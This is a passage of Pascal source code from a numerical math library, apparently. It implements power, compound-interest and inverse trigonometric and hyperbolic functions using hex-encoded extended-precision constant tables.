($3a32,$426a,$018d,$c4b4,$bfbd), ($9352,$0f8b,$4e4d,$decd,$3fbd), ($ff99,$62ba,$7628,$f84b,$3fbd),
($8143,$0442,$24f9,$b4b8,$3fbc), ($8d5b,$21a9,$86c7,$d2df,$3fbc), ($f811,$5153,$4607,$8019,$bfbd),
($8a8b,$f824,$b494,$b795,$bfb7), ($71b9,$b976,$bc54,$b92d,$bfbc), ($b9e0,$6310,$046b,$fced,$bfbd),
($f03c,$3c66,$a4f9,$cbc8,$3fbd), ($1f87,$db30,$18f5,$f73a,$3fbd), ($f2a3,$b0d9,$b054,$9480,$bfbb),
($a758,$8798,$7cdc,$b74d,$bfbd), ($7f23,$646f,$a919,$f15b,$3fb5), ($2da7,$b85c,$ab19,$bb3f,$bfbb),
($b86e,$5d58,$808e,$d6f3,$3fbd), ($cfcf,$b4c8,$42f5,$ec3f,$3fbc), ($e18c,$0bc4,$2a38,$ad64,$3fbd),
($7226,$291b,$39ed,$8cac,$3fbd), ($7cff,$5c4a,$6191,$ab5c,$3fbd), ($9321,$30a3,$3c06,$95de,$3fbd),
($f8e2,$0dde,$ca3a,$8736,$3fbc), ($f624,$4c97,$5b6d,$c01a,$3fbd), ($f23b,$506c,$1942,$b491,$bfbd),
($97d9,$0bf0,$0910,$9f3a,$3fbc), ($2748,$d2ff,$abf4,$bc2d,$bfbc), ($ac15,$3e46,$2932,$bf4a,$bfbc),
($20bd,$8514,$d685,$d4ef,$3fbd), ($259d,$efed,$3b0a,$f6e3,$bfba), ($d9ce,$8932,$32e4,$e4ef,$bfbc),
($8fbc,$58e1,$21a1,$f22f,$3fbd), ($43fe,$5717,$6dff,$e9b8,$bfbb), ($5160,$51be,$8fac,$f895,$3fbd),
($fbdb,$24a1,$8024,$83e1,$bfbb), ($8765,$76dd,$7a52,$f2f4,$3fbb), ($5d6e,$3d3f,$4342,$afb4,$bfbc),
($ddb5,$c442,$8805,$cbc4,$3fbd), ($8e61,$ab24,$c4aa,$d777,$bfbd), ($eecf,$5980,$9079,$9bfe,$3fba),
($3963,$50d1,$6c4a,$f8db,$bfbb), ($ac99,$7d75,$df0e,$b207,$bfbd), ($943c,$8a3a,$0dd6,$ba7a,$3fbd),
($7944,$ba66,$a091,$cb12,$3fb9), ($40a9,$b97a,$c086,$b4ab,$3fbd), ($9fa0,$e344,$2518,$8d70,$3fbd),
($b2ac,$6d49,$83a9,$988d,$bfbb), ($5e9c,$5ee6,$7498,$8be1,$bfbc), ($dc97,$9dfa,$3696,$ad2e,$3fbd),
($2972,$b47f,$6af5,$cb3c,$3fbd), ($7771,$7175,$32d9,$8595,$bfbd), ($a991,$78a6,$356a,$f610,$3fbc),
($43dd,$6e2f,$883f,$f352,$3fbb), ($1d1c,$f187,$dd36,$efdd,$bfbc), ($8358,$36fd,$6208,$9c21,$3fbd),
($2a20,$0f6a,$09ae,$bc61,$bfb7), ($83db,$4d18,$7e2a,$bf6d,$bfbd), ($1cbc,$ed94,$bf8d,$8559,$3fbc),
($ad2d,$b32d,$cc57,$bf03,$bfbd), ($ff78,$40b4,$2ee6,$e69a,$3fbc), ($6957,$1b4c,$4e47,$c449,$bfbb),
($1837,$3407,$b9db,$8d32,$bfbc), ($7a1e,$aecd,$45ae,$f389,$bfbc), ($58b5,$4c4c,$bdff,$b243,$3fbd),
($0795,$517f,$742b,$cf65,$bfba), ($8797,$f1a9,$b158,$dfb2,$3fbd), ($70d3,$3663,$0670,$f563,$3fbc),
($0143,$1ef2,$72be,$9124,$3fbb), ($8b0e,$bf14,$c09d,$ff4e,$3fba), ($3fd1,$56aa,$b86d,$b8fb,$3fba),
($01a1,$78c9,$ba0c,$f388,$bfbc), ($abf8,$996c,$8e6a,$a4ae,$bfbc), ($7873,$a64a,$a1c0,$c62a,$3fbd),
($21f2,$8dc0,$1cc9,$994f,$3fbc), ($7323,$e675,$113e,$a0ae,$3fbc), ($c895,$5069,$e383,$ee53,$bfbb),
($3036,$2fc1,$edaa,$9c9b,$bfba), ($14e6,$8c84,$73b9,$ef64,$bfbd), ($344f,$8ec8,$24c7,$bdaa,$3fbd),
($9231,$a140,$370b,$b6f8,$bfba), ($3b7d,$2256,$fc67,$9659,$bfbd), ($8383,$0390,$6a5f,$b7c9,$bfbd),
($a683,$6654,$5f4b,$f59e,$bfbc), ($2d04,$f5dd,$0dab,$fe3c,$bfbd), ($024d,$6fed,$c73b,$abf4,$bfbd),
($0385,$6e1c,$d3ed,$c368,$3fbc), ($aaed,$f499,$7f8f,$b2a1,$3fbd), ($6207,$24ff,$471a,$fb17,$bfbc),
($5d3b,$72dc,$e4d9,$a537,$bfbc), ($84aa,$c55d,$d161,$aa1c,$3fbd), ($4ef2,$1b9e,$10d1,$d7bf,$3fbd),
($7cde,$9376,$4325,$f8ab,$3fbc), ($0271,$0aa0,$1d48,$e551,$3fbd), ($9ed8,$b162,$20d2,$cf43,$bfbd),
($34c3,$ef34,$b6d1,$b5f4,$3fbc), ($e90a,$a2e0,$1584,$83b2,$3fbc), ($5a72,$5b3e,$e2c8,$9d23,$bfbd),
($c8f1,$bf6a,$6839,$d094,$bfbd), ($2880,$f54f,$77ca,$e68c,$3fbd), ($0f6b,$4a01,$fab3,$f88a,$3fbd),
($96b3,$aca3,$bab8,$f23c,$bfbd), ($a707,$354e,$649a,$de67,$3fbd), ($7c2d,$5246,$6cee,$ee30,$3fba),
($3d7b,$a07a,$7aa1,$bf51,$bfbb), ($da5f,$d319,$2351,$8901,$bfbd), ($b2dd,$7562,$4593,$9334,$3fbd),
($81bb,$2209,$1a37,$ed61,$bfbd), ($a10c,$25e0,$c093,$aefd,$bfbd), ($a77b,$9ef7,$556e,$d431,$3fbc),
($9a84,$e9a8,$fef4,$a3fa,$bfbc), ($a31d,$eff0,$228f,$ee2d,$3fba), ($0718,$8b27,$33a4,$e9aa,$3fbd),
($fcc0,$e4bd,$6478,$a79d,$bfb5), ($5478,$3b9f,$65d5,$d96c,$bfbb), ($46fe,$1c8c,$358b,$a80b,$bfbd),
($2d0d,$b35b,$bbc2,$dc3c,$3fbb), ($ece5,$6684,$ae95,$a6ec,$bfbd), ($ff37,$4277,$9e7c,$fc36,$3fbc),
($46da,$590d,$0d64,$ba4f,$bfbc), ($4b3f,$aa83,$e1bb,$e2cb,$3fb9), ($efe7,$c23c,$bc5c,$aa6d,$3fbd),
($0214,$b0cc,$7ff0,$9566,$bfbd), ($a511,$5e39,$6cac,$e15a,$bfbc), ($7d3e,$ea95,$1366,$b2fb,$3fbd),
($838b,$8b93,$5d68,$97b3,$3fbd), ($e500,$3363,$6118,$ea37,$bfbb), ($530c,$2670,$0d8c,$e64b,$bfbd),
($4670,$e629,$5371,$fb3c,$3fbc), ($0259,$822c,$69cf,$f572,$bfbd), ($e410,$d9a4,$4c4e,$f871,$3fbd),
($477b,$1aa3,$469b,$ef41,$bfbb), ($44e3,$25bd,$902d,$f05f,$bfbd), ($4b87,$09bd,$ae13,$cf92,$3fbd),
($cb15,$91c4,$d5b7,$90a6,$bfbd), ($70d3,$0dc8,$8646,$a443,$3fbd), ($bf35,$d132,$bf8c,$8367,$bfbc),
($dba0,$dea4,$a5d4,$ac2b,$3fbc), ($07b1,$0d44,$02d3,$9637,$3fbc), ($b6fe,$cca3,$b983,$bd67,$3fba),
($5d89,$eb34,$5191,$9301,$3fbd), ($79c4,$83b1,$19f9,$b3b9,$bfbd), ($ec93,$bcf2,$7343,$bc2b,$3fbd),
($7312,$e23a,$2bdc,$c645,$bfbc), ($00f3,$eb3c,$4764,$cb00,$3fbd), ($eed6,$fbe6,$a3ba,$db85,$bfbd),
($7264,$4ca6,$0243,$ec62,$3fbd), ($6cc4,$df77,$4b57,$9b46,$3fbc), ($f4e6,$6a63,$49d8,$a83c,$3fbd),
($b45b,$11d7,$8202,$ce57,$3fbc), ($6f19,$7dde,$37b2,$d0ad,$bfbd), ($2f65,$cbd8,$36e8,$9369,$3fbc),
($1aa2,$f8c1,$9655,$c274,$bfbd), ($c479,$6b70,$68a1,$a0b4,$3fbd), ($7b4e,$f33b,$e561,$c910,$bfbd),
($9774,$519b,$7aa1,$eb4b,$bfbc), ($80d9,$b883,$fb10,$e5eb,$3fbb), ($f6f0,$fdf9,$e512,$b70f,$bfbd),
($461e,$9586,$f46f,$d8bc,$3fbd), ($a3fa,$a7e0,$9267,$a257,$bfbc), ($1eec,$781e,$4831,$d1db,$3fba),
($b6b0,$331c,$4457,$f0ed,$bfbb), ($20c0,$6268,$a6dd,$ed0b,$bfbd), ($7a5c,$038e,$e827,$df33,$3fbd),
($42b1,$fe60,$f620,$c90b,$bfbd), ($da65,$029a,$04c0,$be97,$3fba), ($7e1e,$3313,$6bef,$fbbc,$bfbd),
($6a4d,$915c,$a675,$e91f,$3fbc), ($cd4c,$d87e,$3cf6,$c96e,$3fbb), ($74e4,$eded,$42cb,$81d2,$bfbc),
($73e3,$cd04,$5be7,$8fe5,$bfb9), ($379c,$7943,$7193,$cc6f,$bfbd), ($045d,$288c,$c1ec,$bedd,$bfbd),
($2374,$c710,$c284,$8d08,$3fbd), ($f035,$9bba,$5ac7,$f914,$3fb6), ($9707,$39e2,$6400,$e647,$bfbd),
($93d4,$bc59,$cc3e,$86da,$bfbc), ($1ff1,$9a23,$4714,$d2fe,$bfbc), ($53bd,$d0c8,$d9be,$9cb0,$3fbd),
($ae8d,$7102,$4c53,$8d58,$3fbd), ($81c2,$b867,$d0ba,$baaf,$bfbd), ($e89f,$2ec0,$365c,$a250,$bfbb),
($1adb,$75e7,$ec6e,$c468,$3fbc), ($714a,$cb7d,$9eef,$b14d,$3fbd), ($1a8c,$5a50,$c9a6,$de7b,$bfbb),
($8739,$39e4,$d2c3,$85f0,$3fbd), ($443a,$e0f2,$79fe,$c61c,$bfbc), ($8e76,$65ec,$8180,$cb81,$bfbd),
($eded,$5c85,$4630,$8d5a,$3fbd), ($8609,$5b52,$3509,$eaab,$3fba), ($af61,$3833,$5d52,$a0f4,$3fbd),
($523a,$33e5,$218f,$9802,$bfbc), ($458a,$7538,$36d0,$91d5,$3fbd), ($48b9,$923c,$75a8,$a2d3,$bfbc),
($dde8,$aa3b,$6381,$adcd,$bfba), ($4325,$58c4,$e96f,$bce6,$3fbb), ($7951,$9547,$eb44,$ba2b,$3fbc),
($bd1d,$d0c0,$eff8,$e375,$3fbc), ($7fdb,$a096,$f03c,$f15c,$3fbd), ($a970,$4a37,$030c,$c1fd,$bfbc),
($c463,$89b6,$afc5,$b319,$bfbc), ($74dd,$962b,$618d,$d125,$3fbc), ($6a72,$5204,$7a7a,$aadf,$3fbb),
($ce25,$a73d,$8d59,$cdbb,$bfb8), ($9d82,$e5ac,$8e0a,$fd6d,$3fba), ($1e38,$d3d9,$aefa,$9f6a,$3fbd),
($49e1,$424b,$6d6b,$d02d,$bfbd), ($cda6,$6474,$7e55,$9696,$3fbc), ($0fc5,$929d,$2950,$eeb0,$3fbd),
($3c94,$28f4,$da14,$b6d7,$3fbd), ($826a,$e8f2,$0890,$cffb,$3fba), ($ba60,$486f,$dcd2,$89fd,$3fbd),
($5317,$1e0f,$5132,$b700,$3fbc), ($c524,$6473,$087c,$bbc0,$3fbc), ($0653,$81ca,$4bbd,$e18d,$bfbd),
($8588,$002b,$92db,$f4b6,$bfba), ($a594,$e37c,$96d2,$9670,$bfbd), ($14b4,$820b,$7c5f,$b761,$3fbd),
($6840,$afa3,$5c3d,$8f46,$bfb9), ($06b3,$cdef,$a9d2,$e00e,$bfba), ($6dfd,$eb58,$af14,$8373,$bfb9),
($c4e4,$5cd8,$d15e,$dc47,$bfbb), ($92a3,$13bf,$dd56,$d573,$3fb9), ($bbfe,$55af,$dfa2,$f41c,$bfbb),
($0c22,$c368,$1d92,$80ca,$3fba), ($6cb6,$e77c,$d246,$847d,$bfbd), ($08d9,$971d,$cdb2,$d452,$bfbd),
($3455,$2381,$3f01,$eac2,$3fbd), ($eac6,$318c,$aed9,$bbf1,$3fbd), ($d5c0,$baa7,$d25f,$dd62,$3fbd),
($aeb2,$ebd9,$2275,$df6e,$bfbd), ($b52b,$7922,$eaff,$9190,$3fbd), ($a559,$ed4a,$9f15,$e85c,$3fbc),
($4b5f,$b50b,$1f98,$a6f2,$bfbc), ($eaa7,$4742,$8ed8,$91f4,$bfbc), ($e75c,$7784,$690e,$c483,$3fbc),
($f938,$7aac,$91cf,$e8da,$bfbc), ($0e4d,$9bc6,$9e8e,$b643,$3fbb), ($a5d1,$6b5b,$62c2,$f030,$3fba),
($e760,$a1eb,$147f,$c700,$bfba), ($ac10,$9fe8,$7650,$d7c9,$3fbb), ($b51d,$bff9,$1161,$cd15,$3fbc),
($4be1,$1360,$589e,$eff1,$bfbb), ($1f52,$e5ac,$e670,$ded5,$bfbd), ($2ffd,$1948,$1d6d,$f8a9,$3fbc),
($63ed,$2320,$a834,$de4e,$3fbc), ($9130,$5b81,$5df2,$c706,$bfbd), ($d9d8,$f72d,$8a90,$bf70,$bfbd),
($bde9,$7a29,$ca4f,$f7ca,$3fbd), ($54fb,$4a66,$3ab1,$cef0,$3fba), ($f480,$db9b,$5c66,$94cd,$3fbc),
($6abc,$ee23,$ec13,$d654,$bfbd), ($0000,$0000,$0000,$0000,$0000));
var
w, z, ya, yb, u: extended;
F, Fa, Fb, G, Ga, Gb, H, Ha, Hb: extended;
e,i : longint;
k: integer;
nflg : boolean;
begin
if IsNanOrInf(x) or IsNanOrInf(y) then begin
power := NaN_x;
exit;
end;
{Handle easy cases}
w := abs(y);
if w=0.0 then begin
power := 1.0;
exit;
end
else if (x=0.0) then begin
if y>0.0 then power := 0.0
else begin
{here y<0: if y is odd and x=-0 return -INF}
if frac(0.5*y)=0.0 then power := PosInf_x
else power := copysign(PosInf_x,x);
end;
exit;
end
else if x=1.0 then begin
power := 1.0;
exit;
end
else if w=1.0 then begin
if y>0.0 then power := x
else begin
if abs(x) > 0.25*MinExtended then power := 1.0/x
else power := copysign(PosInf_x,x);
end;
exit;
end
else if w=0.5 then begin
if y>0.0 then power := sqrt(x)
else power := 1.0/sqrt(x);
exit;
end;
nflg := false; {true if x<0 raised to integer power }
w := floorx(y);
if w=y then begin
z := abs(w);
if z <= 2048.0 then begin
u := ilogb(x);
{intpower does not catch overflows, therefore call it only if safe.}
if z*(abs(u) + 1.0) < 16382.0 then begin
power := intpower(x,trunc(w));
exit;
end;
end;
end;
if x<0.0 then begin
if w<>y then begin
{noninteger power of negative number: exception or RTE}
power := exp(y*ln(x));
exit;
end;
{Find out if the integer exponent is odd or even.}
w := 2.0*floorx(0.5*y);
nflg := w<>y;
x := abs(x);
end;
{separate significand from exponent}
frexp(x, x, e);
{find significand in antilog table A[]}
i := 1;
if x <= extended(A[257]) then i := 257;
if x <= extended(A[i+128])then inc(i,128);
if x <= extended(A[i+64]) then inc(i,64);
if x <= extended(A[i+32]) then inc(i,32);
if x <= extended(A[i+16]) then inc(i,16);
if x <= extended(A[i+8]) then inc(i, 8);
if x <= extended(A[i+4]) then inc(i, 4);
if x <= extended(A[i+2]) then inc(i, 2);
if x >= extended(A[1]) then i := -1;
inc(i);
{Find (x - A[i])/A[i] in order to compute log(x/A[i]):}
{log(x) = log( a x/a ) = log(a) + log(x/a) }
{log(x/a) = log(1+v), v = x/a - 1 = (x-a)/a }
x := x - extended(A[i]);
x := x - extended(B[i div 2]);
x := x / extended(A[i]);
{rational approximation for log(1+v) = v - v**2/2 + v**3 P(v) / Q(v)}
z := x*x;
{w:= polevl(x,P,3)}
w := ((P[0]*x + P[1])*x + P[2])*x + P[3];
{u = p1evl(x,Q,3)}
u := ((x + Q[0])*x + Q[1])*x + Q[2];
w := x*(z*w/u) - 0.5*z;
{Convert to base 2 logarithm: multiply by log2(e) = 1+LOG2EA}
z := extended(LOG2EA)*w;
z := z + w;
z := z + extended(LOG2EA)*x;
z := z + x;
{Compute exponent term of the base 2 logarithm.}
w := -i;
w := w/NXT + e;
{Now base 2 log of x is w + z. Multiply base 2 log by y, in pseudo multi}
{precision. Separate y into large part ya and small part yb less than 1/NXT}
{WE: mul/div with NXT is faster than original ldexp(,LNXT)}
ya := floorx(y*NXT)/NXT; {reduc(y)}
yb := y - ya;
F := z*y + w*yb;
Fa := floorx(F*NXT)/NXT; {reduc(F)}
Fb := F - Fa;
G := Fa + w*ya;
Ga := floorx(G*NXT)/NXT; {reduc(G)}
Gb := G - Ga;
H := Fb + Gb;
Ha := floorx(H*NXT)/NXT; {reduc(H)}
w := NXT*(Ga+Ha);
{Test the power of 2 for over/underflow}
if w>MEXP then begin
if nflg then power := NegInf_x
else power := PosInf_x;
exit;
end
else if w<MNEXP then begin
power := 0.0;
exit;
end;
e := trunc(w);
Hb := H - Ha;
if Hb>0.0 then begin
inc(e);
Hb := Hb - 1.0/NXT;
end;
{Now the product y * log2(x) = Hb + e/NXT. Compute base 2 exponential}
{of Hb, where -1/NXT <= Hb <= 0.}
{z := Hb*polevl(Hb,R,6); z=2**Hb-1}
z := R[0];
for k:=1 to 6 do z := z*Hb + R[k];
z := Hb*z;
{Express e/NXT as an integer plus a negative number of (1/NXT)ths.}
{Find lookup table entry for the fractional power of 2.}
if e<0 then i := 0 else i := 1;
inc(i, e div NXT);
e := NXT*i - e;
w := extended(A[e]);
z := w + w*z; {2**-e * ( 1 + (2**Hb-1) ) }
z := ldexp(z,i); {multiply by integer power of 2}
if nflg then power := -z {odd integer exponent and x<0}
else power := z;
end;
{---------------------------------------------------------------------------}
function powm1(x,y: extended): extended;
{-Return x^y - 1; special code for small x,y}
var
p: extended;
begin
if y=0.0 then begin
powm1 := 0.0;
exit;
end;
if (x>0.0) and ((x<2.0) or (abs(y)<2.0)) then begin
p := y*ln(x);
if abs(p) < 4.0 then begin
powm1 := expm1(p);
exit;
end;
end;
powm1 := power(x,y)-1.0;
end;
{---------------------------------------------------------------------------}
function pow1pm1(x,y: extended): extended;
{-Return (1+x)^y - 1; special code for small x,y}
begin
if (x=0.0) or (y=0.0) then pow1pm1 := 0.0
else if y=1.0 then pow1pm1 := x
else if y=2.0 then pow1pm1 := x*(2.0+x)
else if abs(x)<1.0 then pow1pm1 := expm1(y*ln1p(x))
else pow1pm1 := powm1(1.0+x,y);
end;
{---------------------------------------------------------------------------}
function pow1p(x,y: extended): extended;
{-Return (1+x)^y, x > -1}
var
z,w,v: extended;
xx: ext2;
const
vmax = 11333.0; {<ln(MaxExtended/2^33): to allow ext2 splitting}
begin
if (y=0.0) or (x=0.0) then begin
pow1p := 1.0;
exit;
end;
z := abs(x);
w := abs(y);
v := y*ln1p(x);
if abs(v) <= 2.5 then begin
if (z<=0.0625) or ((z<=0.5) and (w<25.0)) then begin
pow1p := exp(v);
exit;
end;
end;
if (w>1.0) and (v<vmax) then begin
w := frac(y);
xxto2x(1.0,x,xx);
pow2xi(xx,int(y),xx);
if w<>0.0 then begin
w := pow1p(x,w);
mul21x(xx,w,xx);
end;
pow1p := xx.h+xx.l;
end
else pow1p := power(1.0+x, y);
end;
{---------------------------------------------------------------------------}
function powpi2k(k,n: longint): extended;
{-Return accurate scaled powers of Pi, result = (Pi*2^k)^n}
var
m: longint;
x: extended;
const
lph : extended = 13529/8192; {high part log2(Pi) = 1.6514892578125}
lpl = 0.6871659818798043279e-5; {low part log2(Pi)}
lmax = +16384;
lmin = -16447;
begin
x := (k + (lph+lpl))*n;
if x >= lmax then powpi2k := PosInf_x
else if x < lmin then powpi2k := 0.0
else begin
x := n*lph;
m := round(x);
x := (x - m) + n*lpl;
m := m + k*n;
x := exp2(x);
powpi2k := ldexp(x,m);
end;
end;
{---------------------------------------------------------------------------}
function powpi(n: longint): extended;
{-Return accurate powers of Pi, result = Pi^n}
begin
powpi := powpi2k(0,n);
end;
{---------------------------------------------------------------------------}
function compound(x: extended; n: longint): extended;
{-Return (1+x)^n; accurate version of Delphi/VP internal function}
var
xx: ext2;
begin
{Note: IEEE Std 754-2008, Table 9.1 requires x >= -1}
{This is OK for pow1p but IMO nonsense for compound!}
xxto2x(1.0,x,xx);
pow2xi(xx,n,xx);
compound := xx.h+xx.l;
end;
{---------------------------------------------------------------------------}
function arccos(x: extended): extended;
{-Return the inverse circular cosine of x, |x| <= 1}
begin
{basic formula arccos(x) = arctan(sqrt(1-x^2)/x))}
if abs(x)=1.0 then begin
if x<0.0 then arccos := Pi else arccos := 0.0;
end
else arccos := arctan2(sqrt((1.0-x)*(1.0+x)),x)
end;
{---------------------------------------------------------------------------}
function archav(x: extended): extended;
{-Return the inverse haversine archav(x), 0 <= x <= 1}
begin
{archav(x) = 2*arcsin(sqrt(x)) = 2*arctan2(sqrt(x), sqrt(1-x))}
archav := 2.0*arctan2(sqrt(x), sqrt(1.0-x));
end;
{---------------------------------------------------------------------------}
function arcsin(x: extended): extended;
{-Return the inverse circular sine of x, |x| <= 1}
begin
{basic formula arcsin(x) = arctan(x/sqrt(1-x^2))}
arcsin := arctan2(x, sqrt((1.0-x)*(1.0+x)))
end;
{---------------------------------------------------------------------------}
function sec(x: extended): extended;
{-Return the circular secant of x, x mod Pi <> Pi/2}
begin
sec := 1.0/cos(x);
end;
{---------------------------------------------------------------------------}
function csc(x: extended): extended;
{-Return the circular cosecant of x, x mod Pi <> 0}
begin
csc := 1.0/sin(x);
end;
{---------------------------------------------------------------------------}
function coth(x: extended): extended;
{-Return the hyperbolic cotangent of x, x<>0}
begin
coth := 1.0/tanh(x);
end;
{---------------------------------------------------------------------------}
function sech(x: extended): extended;
{-Return the hyperbolic secant of x}
begin
if abs(x) > ln_MaxExt then sech := 0.0
else sech := 1.0/cosh(x);
end;
{---------------------------------------------------------------------------}
function csch(x: extended): extended;
{-Return the hyperbolic cosecant of x, x<>0}
begin
if abs(x) > ln_MaxExt then csch := 0.0
else csch := 1.0/sinh(x);
end;
{---------------------------------------------------------------------------}
function arcsinh(x: extended): extended;
{-Return the inverse hyperbolic sine of x}
var
t,z: extended;
const
t0 = 0.43e10; {sqrt(t0^2 + 1) = t0}
t1 = 0.59e4932; {t1 < Maxextended/2 }
const
CSN = 24;
CSAH: array[0..CSN-1] of THexExtW = ( {chebyshev((arcsinh(x)/x-1), x=-1..1, 1e-20);}
($74C4,$2C57,$F726,$8346,$BFFC), {-0.128200399117381863433721273592 }
($60FB,$E565,$99EE,$F0E4,$BFFA), {-0.588117611899517675652117571383e-1 }
($4327,$5038,$DAB6,$9AE8,$3FF7), {+0.472746543221248156407252497561e-2 }
($E4B7,$CEAC,$CB4F,$8174,$BFF4), {-0.493836316265361721013601747903e-3 }
($F880,$4F1E,$8FBD,$F564,$3FF0), {+0.585062070585574122874948352586e-4 }
($AE3D,$780B,$06F9,$FA8D,$BFED), {-0.746699832893136813547550692112e-5 }
($8655,$9CEE,$EACE,$865F,$3FEB), {+0.100116935835581992659661920174e-5 }
($D271,$A5F8,$C535,$9549,$BFE8), {-0.139035438587083336086164721962e-6 }
($2CEA,$53B7,$9C56,$AA47,$3FE5), {+0.198231694831727935473173603337e-7 }
($051A,$3D90,$00CD,$C63D,$BFE2), {-0.288474684178488436127472674074e-8 }
($79C8,$31D9,$DC1C,$EA98,$3FDF), {+0.426729654671599379534575435248e-9 }
($7F9A,$EA05,$5578,$8CAF,$BFDD), {-0.639760846543663578687526705064e-10}
($CC8C,$E66B,$2C10,$AAA1,$3FDA), {+0.969916860890647041478747328871e-11}
($A487,$C2BA,$24E9,$D0EA,$BFD7), {-0.148442769720437708302434249871e-11}
($77D3,$838C,$C3D7,$80EF,$3FD5), {+0.229037379390274479880187613939e-12}
($BF67,$A9BA,$A045,$A046,$BFD2), {-0.355883951327326451644472656709e-13}
($89C0,$7126,$8F52,$C876,$3FCF), {+0.556396940800567901824410323292e-14}
($CA8D,$2192,$F0F4,$FC17,$BFCC), {-0.874625095996246917448307610618e-15}
($3213,$353B,$6AE5,$9F47,$3FCA), {+0.138152488445267754259259259259e-15}
($7B9A,$3E40,$512C,$CA25,$BFC7), {-0.219166882829054218109516486403e-16}
($E036,$4ADC,$8495,$80C6,$3FC5), {+0.349046585251352023737824855452e-17}
($BAAB,$4F80,$8CCC,$A4A6,$BFC2), {-0.557857884196310306067662486759e-18}
($D7E8,$6819,$4637,$D332,$3FBF), {+0.894451477596418179416166864814e-19}
($A859,$BFDE,$0201,$87D9,$BFBD)); {-0.143834333235934314272184000000e-19}
{($5CEB,$BE05,$504B,$AF3C,$3FBA)} {+0.231922385806700541867783333333e-20}
var
CSA: array[0..CSN-1] of extended absolute CSAH;
begin
t := abs(x);
if t<=1.0 then begin
if t <= sqrt_epsh then begin
{arcsinh(x) = x*(1 - 1/6*x^2 + 3/40*x^4 + O(x^6))}
arcsinh := x;
end
else begin
z := 2.0*x*x - 1.0;
t := CSEvalX(z, CSA, CSN);
arcsinh := x + x*t;
end;
end
else begin
if t >= t0 then begin
{skip sqrt() because sqrt(t^2+1) = t}
if t <= t1 then z := ln(2.0*t)
else z := ln(t)+ln2
end
else z := ln(t + sqrt(1.0+t*t));
if x>0.0 then arcsinh := z
else arcsinh := -z;
end;
end;
{---------------------------------------------------------------------------}
function ac_help(x: extended): extended;
{-Calculate ln1p(x+sqrt(2x+x^2)}
var
y: extended;
begin
x := x+sqrt(2.0*x+x*x);
{see ln1p for the formula}
y := 1.0 + x;
if y=1.0 then ac_help := x
else ac_help := ln(y) + (x-(y-1.0))/y;
end;
{---------------------------------------------------------------------------}
function arccosh(x: extended): extended;
{-Return the inverse hyperbolic cosine, x >= 1. Note: for x near 1 the}
{ function arccosh1p(x-1) should be used to reduce cancellation errors!}
begin
if x=1.0 then arccosh := 0
else begin
if x>1E10 then begin
{skip sqrt() calculation because sqrt(x^2-1) = x}
arccosh := ln(x)+ln2;
end
else if x>2.0 then begin
{arccosh := ln(x+sqrt((x-1)*(x+1)))}
arccosh := ln(2.0*x - 1.0/(x+sqrt(x*x-1.0)))
end
else begin
{arccosh = ln1p(y+sqrt(2*y + y*y)), y=x-1}
arccosh := ac_help(x-1.0);
end;
end;
end;
{---------------------------------------------------------------------------}
function arccosh1p(x: extended): extended;
{-Return arccosh(1+x), x>=0, accurate even for x near 0}
begin
if x=0.0 then arccosh1p := 0
else if x<1.0 then begin
{arccosh(X) = ln(X + sqrt(X^2 - 1)), substituting X = 1+x gives}
{arccosh1p(x) = ln1p(x+sqrt((X-1)*(X+1))) = ln1p(x+sqrt(x*(x+2)))}
{ = ln1p(x+sqrt(2*x + x*x))}
arccosh1p := ac_help(x);
end
else arccosh1p := arccosh(1.0+x);
end;
{---------------------------------------------------------------------------}
function arctanh(x: extended): extended;
{-Return the inverse hyperbolic tangent of x, |x| < 1}
var
t: extended;
const
t0 = 2.3E-10;
begin
t := abs(x);
if t<t0 then begin
{arctanh(x) = x + 1/3*x^3 + 1/5*x^5 + 1/7*x^7 + O(x^9)}
arctanh := x;
end
else begin
{arctanh(x) = 0.5*ln((1+x)/(1-x)) = 0.5*ln((1-x+2x)/(1-x)) }
{ = 0.5*ln(1+2x/(1-x)) = 0.5*ln1p(2x/(1-x)) }
{ or = 0.5*(ln(1+x)-ln(1-x)) = 0.5*(ln1p(x)-ln1p(-x)) }
{ or = 0.5*ln(1+2x+2x^2/(1-x)) = 0.5*ln1p(2x+2x^2/(1-x))}
if t<0.75 then t := 0.5*(ln1p(t)-ln1p(-t))
else t := 0.5*ln((1.0+t)/(1.0-t));
if x>0.0 then arctanh := t
else arctanh := -t;
end;
end;
{---------------------------------------------------------------------------}
function arccot(x: extended): extended;
{-Return the sign symmetric inverse circular cotangent; arccot(x) = arctan(1/x), x <> 0}
begin
if abs(x) > 1E-20 then arccot := arctan(1.0/x)
else begin
if x>=0.0 then arccot := Pi_2
else arccot := -Pi_2;
end;
end;
{---------------------------------------------------------------------------}
function arccotc(x: extended): extended;
{-Return the continuous inverse circular cotangent; arccotc(x) = Pi/2 - arctan(x)}
begin
if x > 1E-20 then arccotc := arctan(1.0/x)
else arccotc := Pi_2 - arctan(x);
end;
{---------------------------------------------------------------------------}
function arccsc(x: extended): extended;
{-Return the inverse cosecant of x, |x| >= 1}
var
y,z: extended;
begin
{arccsc = arcsin(1.0/x) = arctan(1/sqrt(x^2-1))}
y := abs(x);
if y >= 1E10 then begin
{arccsc(x) ~ 1/x + 1/6/x^3 + 3/40/x^5 + O(1/x^6) for large x}
z := 1.0/y;
end
else if y > 2.0 then z := arctan2(1.0, sqrt(y*y-1.0))
else begin
z := y-1.0;
z := arctan2(1.0, sqrt(z*y+z));
end;
if x>0.0 then arccsc := z
else arccsc := -z;
end;
{---------------------------------------------------------------------------}
function arcsec(x: extended): extended;
{-Return the inverse secant of x, |x| >= 1}
var
t: extended;
begin
if abs(x) >= 0.5e10 then begin
{avoid x^2 overflow and/or arctan evaluation}
arcsec := Pi_2 - 1.0/x;
end
else begin
t := arctan(sqrt((x-1.0)*(x+1.0)));
if x>0.0 then arcsec := t
else arcsec := Pi-t;
end;
end;
{---------------------------------------------------------------------------}
function arccoth(x: extended): extended;
{-Return the inverse hyperbolic cotangent of x, |x| > 1}
var
t: extended;
begin
t := abs(x);
{compute t = arccoth(|x|)}
if t<32.0 then t := 0.5*ln1p(2.0/(t-1.0))
else t := -0.5*ln1p(-2.0/(t+1.0));
{adjust sign}
if x>0.0 then arccoth := t
else arccoth := -t;
end;
{---------------------------------------------------------------------------}
function arcsech(x: extended): extended;
{-Return the inverse hyperbolic secant of x, 0 < x <= 1}
var
t: extended;
begin
t := 1.0-x;
if t=0 then arcsech := 0.0
else if x<=1E-10 then begin
{avoid overflow in ac_help}
{arcsech(x) = (ln(2)-ln(x)) -1/4*x^2 -3/32*x^4 + O(x^6)}
arcsech := -ln(0.5*x);
end
else begin
{arcsech(x) = arccosh(1/x), see arccosh branch for x<=2}
arcsech := ac_help(t/x);
end;
end;
